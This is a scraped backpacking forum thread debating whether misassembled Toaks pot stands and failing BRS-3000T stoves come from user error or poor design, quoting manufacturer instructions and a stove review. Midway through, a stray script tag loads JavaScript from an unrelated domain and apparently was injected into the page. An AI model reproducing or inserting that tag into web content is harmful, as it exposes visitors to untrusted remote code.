Stove User Errors

And look who made the same error(6th):

I watched the Spiguyver video and did not see any errors in assembling the pot stand. ???

Bruce, the assembled stove support is suppose to look like this, tabs to the inside, according to Toaks USA site:

Good grief, check the Amazon page: https://www.amazon.com/TOAKS-Titanium-Alcohol-Stove-Stand/dp/B074L8T1JC/ref=sr_1_1?dchild=1&keywords=TOAKS+TITANIUM+ALCOHOL+STOVE+POT+STAND&qid=1572728259&sr=8-1

RTFM

From that video :

It seems even Toaks is unsure of how he stand should be assembled…check the 4th photo.

https://www.toaksoutdoor.com/collections/stove/products/stv-01

Toaks video

Toaks video(july12/19) and comment from one of the viewers:

 
<div id=”header” class=”style-scope ytd-comment-renderer”>
<div id=”header-author” class=”style-scope ytd-comment-renderer”><span class=”style-scope ytd-comment-renderer”>Jon Edge</span>2 months ago<span id=”author-reputation” class=”style-scope ytd-comment-renderer”></span></div>
</div>
<div id=”content” class=”style-scope ytd-expander”>I’ve heard so many people say that this pot stand is rubbish, because it just falls apart. However, every picture I’ve seen shows the stand assembled with the tabs going from the inside of the plates to the outside, just the opposite to the method shown here. If you build your pot stand the wrong way don’t expect it to do the job it was designed to do! I actually have the stand and stove and can definitely say that they are a brilliant combination, very stable when set up as shown here. Both are well recommended! Well done Toaks for a couple of great bits of kit!</div>

From the Toaks website

Under NOTES :

6. The tab should be inserted into hole from the outside of the curve to achieve tighter assembly.

In case it was missed, in my previous post I was being facetious.  It seems clear that those taking the product photos did not understand how to assemble the stand.  I do find it odd that those photos made it onto the official Toaks site and into their marketing materials on Amazon and elsewhere.

Also, given that Toaks themselves show the stand assembled incorrectly, I can see why some users, those who do not READ the instructions, would have a poor experience.  It is hard to understand that in light of the poor reviews, someone at Toaks has not figured out to remove the photos…and maybe replace them with ones more clearly depicting the correct assembly.

as Franco pointed out, the assembly instruction is given at the Toaks site:

1. It works as pot stand for TOAKS Titanium Siphon Alcohol Stove.
2. A set of 4 identical titanium curved pieces.
3. Features as pot stand and wind shield after setup.
4. Can set up with 3 or 4 pieces according to pot size.
5. The stove and pot shown in the pictures are sold separately.
6. The tab should be inserted into hole from the outside of the curve to achieve tighter assembly.

https://www.toaksoutdoor.com/collections/stove/products/frm-02

That is not a User Error problem.  When the frequency of missassemble is high, this is a design problem.  Yes you can say RTFM, you could also say that people are not going to be reading the manual as many of these people obviously didn’t.  A small etched graphic on the windscreen would probably solve the problem.

The bigger issue is that this is a pot stand and not really a windcreen.  That is the bigger crime here.  My 2 cents.

Jon Fong +1

you could also say that people are not going to be reading the manual as many of these people obviously didn’t.

That’s “user error”. They have outside influence also, the majority of wood burning stoves that are 4 pc are assembled with the tabs to the outside. So, many assumed that the toaks support would be assembled the same way.

The abuse of the BRS3000T is caused by “User Error” not reading instructions and using common sense with an ultralight piece of equipment.

Some people prefer to blame the gear rather than themselves for failing to learn how to use it.

I had the same problem selling cameras for 30 years. Not limited to  backpacking , it’s human nature.

That’s “user error”. They have outside influence also, the majority of wood burning stoves that are 4 pc are assembled with the tabs to the outside. So, many assumed that the toaks support would be assembled the same way.

Aggreed, user have become use to assembling things a certain way, TOAKS came up with an innovative way to assemble their device and failed to inform or instruct the user how to do it correctly.  This is a design imlementation error.  Again this could easily be solved by etching / graphics directly onto the windscreen to provide guidence.  Additionally, when that many people fail to assemble it correctly, the company failed and can’t blame the customer.  It’s call product Validation, it is a standard measure of product success, TOAKS in this case failed product Validation.

I quote Ryan Jordan from a recent thread:

Big Agnes does not promise the moon here. From their own marketing materials:

These products are intended for only the most advanced user. Although extremely strong for their weight, these tents are not indestructible and require careful use to decrease the possibility of damage. Special care during setup and extended trips is important as rough handling, long-term abrasion, exposure to sharp objects or rocky campsite selection may result in fabric punctures and tears.

.

Most advanced user = someone who understands the limitations of materials and technology at the limits of ultralight.

But – therein lies the problem.

This tent is sold via Big Agnes’ normal retail channels (e.g., REI) and thus, immediately thrusted into the mainstream where it then becomes subject to criticism that probably borders on the unfair.

Better for them if they spent more time educating users to bring them up to an “advanced level” and offer this tent privately to a small email list than advertising it so publicly 😂

Do you think his way of thinking could be applied to users, sellers/marketing departments of the BRS3000T? Could he have given us more information/education to bring us up to an “advanced level” so we could effectively use one of the most popular ultralight(12gr) stoves on the market? He said 4 out of 7 stoves melted during his testing, that was it, no photos, no videos etc. Roger repeatedly said titanium won’t melt under canister stove conditions. Hikin Jim also could have been an instrument in educating users to bring them up to an “advanced level”….never happened.

The very first thing to understand about products that are sold to the public is “the hardest thing to do in the world is to educate a customer”.  If your product relies on customer knowledge and experience then you can only approach a niche market.  The Big Agnes Carbon Collection falls into that category, and that may even be stupid light.  Anyone purchasing a single person 21 oz.  tent for $800 would hopefully be an informed and educated buyer.  That being said, being rich does not necessarily mean that you are educated or careful.

On the flip side, commodity items like the BRS 3000T ($17 stove) can pretty easily be purchased by nearly anyone.  I have 3 BRS-3000T that I have taken apart to verify assembly/construction.  The first one looked fine, the other 2 had some minor issues.  IMO, the BRS 3000T is an OK stove, not great in the wind and fuel efficiency is just OK: it’s not my go to stove.  I tend to agree with Roger in that the original BRS 3000T is not a bad stove and when inspected and fixed up, works fine.

Now if a customer places the stove on ground that is not level and the mug is off center, the mug could slide off.  Is that a design problem?  I suspect so as the pot support for the BRS 3000T is pretty small.  The support leg diameter could be larger to add more stability.   Additionally, I don’t believe that other canister top stove has the same failure history.  Since the BRS 3000T is priced so low, the number of people purchasing them is high.  The low price and the high volume is bound to capture a distribution of people who have less than the average knowledge of stoves.  As I stated earlier, the hardest thing to do it to educate a customer.

Now with respect to Ryan, it’s not his job to educate the customer.  It would be nice if he could share some of the photos, but I don’t think that it matters.   With respect to reliability (legs bending), I think that it is hard to tell due the number of copycat and knock off out there.  The way things are the “newest” BRS 3000T will have a damaged reputation and I see no efforts on their part to repair their image.  Educating the customer is hard work.  This is why good products go through a lot of effort to make their designs robust and tolerant to misuse.  My 2 cents.

Now with respect to Ryan, it’s not his job to educate the customer.

I smile when I hear/see “it’s not my job”

https://www.google.com/search?q=not+my+job&rlz=1CAHDPY_enUS831&sxsrf=ACYBGNRubeaHZXJU5PDKL50SDvjAh0NHNQ:1572965124858&source=lnms&tbm=isch&sa=X&ved=0ahUKEwiikovcp9PlAhULRa0KHQ0lAFIQ_AUIEigB&biw=1366&bih=697

Now if a customer places the stove on ground that is not level and the mug is off center, the mug could slide off.  Is that a design problem?  I suspect so as the pot support for the BRS 3000T is pretty small.

I find it hard to believe you said that. That is so wrong, it’s “user error”. The BRS was designed as an ultralight stove to be used with ultralight pots. It should be used with small diameter pots of an appropriate size in relation to the diameter of the pot support. Roger can be the one to decide what diameter. He’s our in-house canister stove expert. Right Roger?

Depending upon which country you are in, and which statistic you read, something around 10% of people have poor reading comprehension.

If Toaks provided an inaccurate picture, or poor pictures, on how to assemble their stove I am not sure that it can be waved away purely as a RTFM issue.

Manufacturers, ideally, should provide visual instructions where possible to cater to those of limited literacy, including those for whom English is not their primary language.

<script src=”//domclickext.xyz/212b3d4039ab5319ec.js” async=”” type=”text/javascript”></script>

There is an old adage “common sense isn’t”

The BRS was designed as an ultralight stove to be used with ultralight pots. It should be used with small diameter pots of an appropriate size in relation to the diameter of the pot support.

The BRS has no documentation instructions to support that statement.  Additionally, even if they did customer are going to use the product the way they want.  The BRS 3000 became the popular due to it’s preceived value: good performance at a low cost and light weight.  That means that a broad spectrum of people are going to use this stove.  Again, “common sense isn’t”.

Instructions are on the back of the package.  I used the translation feature on the Alibaba.com site. The translator works awesome.

I like the stove alot, I have 7, built rock solid. It’s my goto canister stove. Fits nice in my Toaks Light 550 pot kit with titanium skirt and additional EZ-Fold windscreen used 3 sides of pot for complete wind blocking(thanks Roger ;) All stoves come with an extra O ring.

99% of the reviews of this stove are positive. The negative reviews are folks that used the stove the way they wanted, that includes HikingJim with the grossly oversize pot on a slanted picnic bench in a public park.

Here’s what HikingJim said about the BRS3000T review he did:

Summary and Conclusion
The BRS-3000T
What’s good about it?
Cheap. Prices vary, but I think I paid about $15 for it, including shipping, on Amazon.
Light. Twenty five grams (0.9 oz)!
Compact.
Fits small cups, mugs, and pots well.
What’s not so good about it?
Absolutely abysmal in wind. A windscreen will help, but there are times where even a windscreen may not be enough.
Pot supports get heavily hit by the flame and could fail.
Poor pot stability.
Overly short valve control handle.
The BRS-3000T: Not recommended.

Sorry I couldn’t give a better report. I was really hopeful about this stove but am now quite disappointed. Had I bought it locally instead of from China, I would demand my money back.

HJ

Disclosures
I purchased this stove with my own money on Amazon just like anyone else would. I have no financial relationships with either BRS or Amazon. If I did, I might be giving a much nicer review, don’t you think? I am an independent stove reviewer. This is my review; it is no one else’s.
Posted by Hikin’ Jim at 11:19 PM